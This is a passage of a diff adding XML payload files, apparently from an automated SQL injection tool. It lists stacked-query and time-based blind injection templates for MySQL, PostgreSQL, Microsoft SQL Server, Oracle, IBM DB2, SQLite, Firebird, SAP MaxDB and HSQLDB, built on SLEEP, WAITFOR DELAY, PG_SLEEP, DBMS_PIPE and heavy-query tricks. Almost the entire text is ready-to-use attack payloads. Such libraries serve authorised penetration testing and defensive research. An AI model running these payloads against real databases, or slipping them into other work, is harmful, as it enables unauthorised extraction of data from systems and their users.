+ + + Oracle stacked queries (DBMS_LOCK.SLEEP - comment) + 4 + 4 + 1 + 0 + 1 + ;BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END + + ;BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); END + -- + + + + +
+ Oracle +
+
+ + + Oracle stacked queries (DBMS_LOCK.SLEEP) + 4 + 5 + 1 + 0 + 1 + ;BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END + + ;BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); END + + + + +
+ Oracle +
+
+ + + Oracle stacked queries (USER_LOCK.SLEEP - comment) + 4 + 5 + 1 + 0 + 1 + ;BEGIN IF ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]); ELSE USER_LOCK.SLEEP(0); END IF; END + + ;BEGIN USER_LOCK.SLEEP([SLEEPTIME]); END + -- + + + + +
+ Oracle +
+
+ + + Oracle stacked queries (USER_LOCK.SLEEP) + 4 + 5 + 1 + 0 + 1 + ;BEGIN IF ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]); ELSE USER_LOCK.SLEEP(0); END IF; END + + ;BEGIN USER_LOCK.SLEEP([SLEEPTIME]); END + + + + +
+ Oracle +
+
+ + + IBM DB2 stacked queries (heavy query - comment) + 5 + 3 + 2 + 1,2,3 + 1 + ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]) + + ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 + -- + + + + +
+ IBM DB2 +
+
+ + + IBM DB2 stacked queries (heavy query) + 5 + 5 + 2 + 1,2,3 + 1 + ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]) + + ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 + + + + +
+ IBM DB2 +
+
+ + + SQLite > 2.0 stacked queries (heavy query - comment) + 4 + 3 + 2 + 0 + 1 + ;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) + + ;SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) + -- + + + + +
+ SQLite + > 2.0 +
+
+ + + SQLite > 2.0 stacked queries (heavy query) + 4 + 5 + 2 + 0 + 1 + ;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) + + ;SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) + + + + +
+ SQLite + > 2.0 +
+
+ + + Firebird stacked queries (heavy query - comment) + 4 + 4 + 2 + 0 + 1 + ;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE + + ;SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4 + -- + + + + +
+ Firebird + >= 2.0 +
+
+ + + Firebird stacked queries (heavy query) + 4 + 5 + 2 + 0 + 1 + ;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE + + ;SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4 + + + + +
+ Firebird + >= 2.0 +
+
+ + + SAP MaxDB stacked queries (heavy query - comment) + 5 + 4 + 2 + 1,2,3 + 1 + ;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3 + + ;SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3 + -- + + + + +
+ SAP MaxDB +
+
+ + + SAP MaxDB stacked queries (heavy query) + 5 + 5 + 2 + 1,2,3 + 1 + ;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3 + + ;SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3 + + + + +
+ SAP MaxDB +
+
+ + + HSQLDB >= 1.7.2 stacked queries (heavy query - comment) + 4 + 4 + 2 + 0 + 1 + ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END + + ;CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) + -- + + + + +
+ HSQLDB + >= 1.7.2 +
+
+ + + HSQLDB >= 1.7.2 stacked queries (heavy query) + 4 + 5 + 2 + 0 + 1 + ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END + + ;CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) + + + + +
+ HSQLDB + >= 1.7.2 +
+
+ + + HSQLDB >= 2.0 stacked queries (heavy query - comment) + 4 + 4 + 2 + 0 + 1 + ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END + + ;CALL REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) + -- + + + + +
+ HSQLDB + >= 2.0 +
+
+ + + HSQLDB >= 2.0 stacked queries (heavy query) + 4 + 5 + 2 + 0 + 1 + ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END + + ;CALL REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) + + + + +
+ HSQLDB + >= 2.0 +
+
+ + +
diff --git a/xml/payloads/05_time_blind.xml b/xml/payloads/05_time_blind.xml new file mode 100644 index 000000000..e8993f92b --- /dev/null +++ b/xml/payloads/05_time_blind.xml @@ -0,0 +1,1985 @@ + + + + + + MySQL >= 5.0.12 AND time-based blind (SELECT) + 5 + 1 + 1 + 1,2,3 + 1 + AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + + AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + + + + +
+ MySQL + >= 5.0.12 +
+
+ + + MySQL >= 5.0.12 OR time-based blind (SELECT) + 5 + 1 + 3 + 1,2,3 + 1 + OR (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + + OR (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + + + + +
+ MySQL + >= 5.0.12 +
+
+ + + MySQL >= 5.0.12 AND time-based blind (SELECT - comment) + 5 + 3 + 1 + 1,2,3 + 1 + AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + + AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + # + + + + +
+ MySQL + >= 5.0.12 +
+
+ + + MySQL >= 5.0.12 OR time-based blind (SELECT - comment) + 5 + 3 + 3 + 1,2,3 + 1 + OR (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + + OR (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + # + + + + +
+ MySQL + >= 5.0.12 +
+
+ + + MySQL >= 5.0.12 AND time-based blind + 5 + 2 + 1 + 1,2,3 + 1 + AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) + + AND SLEEP([SLEEPTIME]) + + + + +
+ MySQL + >= 5.0.12 +
+
+ + + MySQL >= 5.0.12 OR time-based blind + 5 + 2 + 3 + 1,2,3 + 1 + OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) + + OR SLEEP([SLEEPTIME]) + + + + +
+ MySQL + >= 5.0.12 +
+
+ + + MySQL >= 5.0.12 AND time-based blind (comment) + 5 + 4 + 1 + 1,2,3 + 1 + AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) + + AND SLEEP([SLEEPTIME]) + # + + + + +
+ MySQL + >= 5.0.12 +
+
+ + + MySQL >= 5.0.12 OR time-based blind (comment) + 5 + 4 + 3 + 1,2,3 + 1 + OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) + + OR SLEEP([SLEEPTIME]) + # + + + + +
+ MySQL + >= 5.0.12 +
+
+ + + MySQL <= 5.0.11 AND time-based blind (heavy query) + 5 + 2 + 2 + 1,2,3 + 1 + AND [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) + + AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) + + + + +
+ MySQL + <= 5.0.11 +
+
+ + + MySQL <= 5.0.11 OR time-based blind (heavy query) + 5 + 2 + 3 + 1,2,3 + 1 + OR [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) + + OR [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) + + + + +
+ MySQL + <= 5.0.11 +
+
+ + + MySQL <= 5.0.11 AND time-based blind (heavy query - comment) + 5 + 5 + 2 + 1,2,3 + 1 + AND [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) + + AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) + # + + + + +
+ MySQL + <= 5.0.11 +
+
+ + + MySQL <= 5.0.11 OR time-based blind (heavy query - comment) + 5 + 5 + 3 + 1,2,3 + 1 + OR [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) + + OR [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) + # + + + + +
+ MySQL + <= 5.0.11 +
+
+ + + MySQL >= 5.0.12 RLIKE time-based blind (SELECT) + 5 + 2 + 1 + 1,2,3 + 1 + RLIKE (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + + RLIKE (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + + + + +
+ MySQL + >= 5.0.12 +
+
+ + + MySQL >= 5.0.12 RLIKE time-based blind (SELECT - comment) + 5 + 4 + 1 + 1,2,3 + 1 + RLIKE (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + + RLIKE (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + # + + + + +
+ MySQL + >= 5.0.12 +
+
+ + + MySQL >= 5.0.12 RLIKE time-based blind + 5 + 5 + 1 + 1,2,3 + 1 + RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])) + + RLIKE SLEEP([SLEEPTIME]) + + + + +
+ MySQL + >= 5.0.12 +
+
+ + + MySQL >= 5.0.12 RLIKE time-based blind (comment) + 5 + 5 + 1 + 1,2,3 + 1 + RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])) + + RLIKE SLEEP([SLEEPTIME]) + # + + + + +
+ MySQL + >= 5.0.12 +
+
+ + + MySQL AND time-based blind (ELT) + 5 + 3 + 1 + 1,2,3 + 1 + AND ELT([INFERENCE],SLEEP([SLEEPTIME])) + + AND ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) + + + + +
+ MySQL + >= 5.0.12 +
+
+ + + MySQL OR time-based blind (ELT) + 5 + 3 + 3 + 1,2,3 + 1 + OR ELT([INFERENCE],SLEEP([SLEEPTIME])) + + OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) + + + + +
+ MySQL +
+
+ + + MySQL AND time-based blind (ELT - comment) + 5 + 5 + 1 + 1,2,3 + 1 + AND ELT([INFERENCE],SLEEP([SLEEPTIME])) + + AND ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) + # + + + + +
+ MySQL +
+
+ + + MySQL OR time-based blind (ELT - comment) + 5 + 5 + 3 + 1,2,3 + 1 + OR ELT([INFERENCE],SLEEP([SLEEPTIME])) + + OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) + # + + + + +
+ MySQL +
+
+ + + PostgreSQL > 8.1 AND time-based blind + 5 + 1 + 1 + 1,2,3 + 1 + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) + + AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) + + + + +
+ PostgreSQL + > 8.1 +
+
+ + + PostgreSQL > 8.1 OR time-based blind + 5 + 1 + 3 + 1,2,3 + 1 + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) + + OR [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) + + + + +
+ PostgreSQL + > 8.1 +
+
+ + + PostgreSQL > 8.1 AND time-based blind (comment) + 5 + 4 + 1 + 1,2,3 + 1 + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) + + AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) + -- + + + + +
+ PostgreSQL + > 8.1 +
+
+ + + PostgreSQL > 8.1 OR time-based blind (comment) + 5 + 4 + 3 + 1,2,3 + 1 + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) + + OR [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) + -- + + + + +
+ PostgreSQL + > 8.1 +
+
+ + + PostgreSQL AND time-based blind (heavy query) + 5 + 2 + 2 + 1,2,3 + 1 + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) + + AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) + + + + +
+ PostgreSQL +
+
+ + + PostgreSQL OR time-based blind (heavy query) + 5 + 2 + 3 + 1,2,3 + 1 + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) + + OR [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) + + + + +
+ PostgreSQL +
+
+ + + PostgreSQL AND time-based blind (heavy query - comment) + 5 + 5 + 2 + 1,2,3 + 1 + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) + + AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) + -- + + + + +
+ PostgreSQL +
+
+ + + PostgreSQL OR time-based blind (heavy query - comment) + 5 + 5 + 3 + 1,2,3 + 1 + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) + + OR [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) + -- + + + + +
+ PostgreSQL +
+
+ + + Microsoft SQL Server/Sybase time-based blind + 5 + 1 + 1 + 0 + 1 + IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' + + WAITFOR DELAY '0:0:[SLEEPTIME]' + + + + +
+ Microsoft SQL Server + Sybase + Windows +
+
+ + + Microsoft SQL Server/Sybase time-based blind (comment) + 5 + 4 + 1 + 0 + 1 + IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' + + WAITFOR DELAY '0:0:[SLEEPTIME]' + -- + + + + +
+ Microsoft SQL Server + Sybase + Windows +
+
+ + + Microsoft SQL Server/Sybase AND time-based blind (heavy query) + 5 + 2 + 2 + 1,2,3 + 1 + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END) + + AND [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) + + + + +
+ Microsoft SQL Server + Sybase + Windows +
+
+ + + Microsoft SQL Server/Sybase OR time-based blind (heavy query) + 5 + 2 + 3 + 1,2,3 + 1 + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END) + + OR [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) + + + + +
+ Microsoft SQL Server + Sybase + Windows +
+
+ + + Microsoft SQL Server/Sybase AND time-based blind (heavy query - comment) + 5 + 5 + 2 + 1,2,3 + 1 + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END) + + AND [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) + -- + + + + +
+ Microsoft SQL Server + Sybase + Windows +
+
+ + + Microsoft SQL Server/Sybase OR time-based blind (heavy query - comment) + 5 + 5 + 3 + 1,2,3 + 1 + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END) + + OR [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) + -- + + + + +
+ Microsoft SQL Server + Sybase + Windows +
+
+ + + Oracle AND time-based blind + 5 + 1 + 1 + 1,2,3 + 1 + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) + + AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) + + + + +
+ Oracle +
+
+ + + Oracle OR time-based blind + 5 + 1 + 3 + 1,2,3 + 1 + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) + + OR [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) + + + + +
+ Oracle +
+
+ + + Oracle AND time-based blind (comment) + 5 + 4 + 1 + 1,2,3 + 1 + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) + + AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) + -- + + + + +
+ Oracle +
+
+ + + Oracle OR time-based blind (comment) + 5 + 4 + 3 + 1,2,3 + 1 + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) + + OR [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) + -- + + + + +
+ Oracle +
+
+ + + Oracle AND time-based blind (heavy query) + 5 + 2 + 2 + 1,2,3 + 1 + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) + + AND [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) + + + + +
+ Oracle +
+
+ + + Oracle OR time-based blind (heavy query) + 5 + 2 + 3 + 1,2,3 + 1 + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) + + OR [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) + + + + +
+ Oracle +
+
+ + + Oracle AND time-based blind (heavy query - comment) + 5 + 5 + 2 + 1,2,3 + 1 + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) + + AND [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) + -- + + + + +
+ Oracle +
+
+ + + Oracle OR time-based blind (heavy query - comment) + 5 + 5 + 3 + 1,2,3 + 1 + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) + + OR [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) + -- + + + + +
+ Oracle +
+
+ + + IBM DB2 AND time-based blind (heavy query) + 5 + 3 + 2 + 1,2,3 + 1 + AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])) + + AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) + + + + +
+ IBM DB2 +
+
+ + + IBM DB2 OR time-based blind (heavy query) + 5 + 3 + 3 + 1,2,3 + 1 + OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])) + + OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) + + + + +
+ IBM DB2 +
+
+ + + IBM DB2 AND time-based blind (heavy query - comment) + 5 + 5 + 2 + 1,2,3 + 1 + AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])) + + AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) + -- + + + + +
+ IBM DB2 +
+
+ + + IBM DB2 OR time-based blind (heavy query - comment) + 5 + 5 + 3 + 1,2,3 + 1 + OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])) + + OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) + -- + + + + +
+ IBM DB2 +
+
+ + + SQLite > 2.0 AND time-based blind (heavy query) + 5 + 3 + 2 + 1 + 1 + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) + + AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) + + + + +
+ SQLite + > 2.0 +
+
+ + + SQLite > 2.0 OR time-based blind (heavy query) + 5 + 3 + 3 + 1 + 1 + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) + + OR [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) + + + + +
+ SQLite + > 2.0 +
+
+ + + SQLite > 2.0 AND time-based blind (heavy query - comment) + 5 + 5 + 2 + 1 + 1 + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) + + AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) + -- + + + + +
+ SQLite + > 2.0 +
+
+ + + SQLite > 2.0 OR time-based blind (heavy query - comment) + 5 + 5 + 3 + 1 + 1 + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) + + OR [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) + -- + + + + +
+ SQLite + > 2.0 +
+
+ + + Firebird >= 2.0 AND time-based blind (heavy query) + 5 + 4 + 2 + 1 + 1 + AND [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) + + AND [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4) + + + + +
+ Firebird + >= 2.0 +
+
+ + + Firebird >= 2.0 OR time-based blind (heavy query) + 5 + 4 + 3 + 1 + 1 + OR [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) + + OR [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4) + + + + +
+ Firebird + >= 2.0 +
+
+ + + Firebird >= 2.0 AND time-based blind (heavy query - comment) + 5 + 5 + 2 + 1 + 1 + AND [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) + + AND [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4) + -- + + + + +
+ Firebird + >= 2.0 +
+
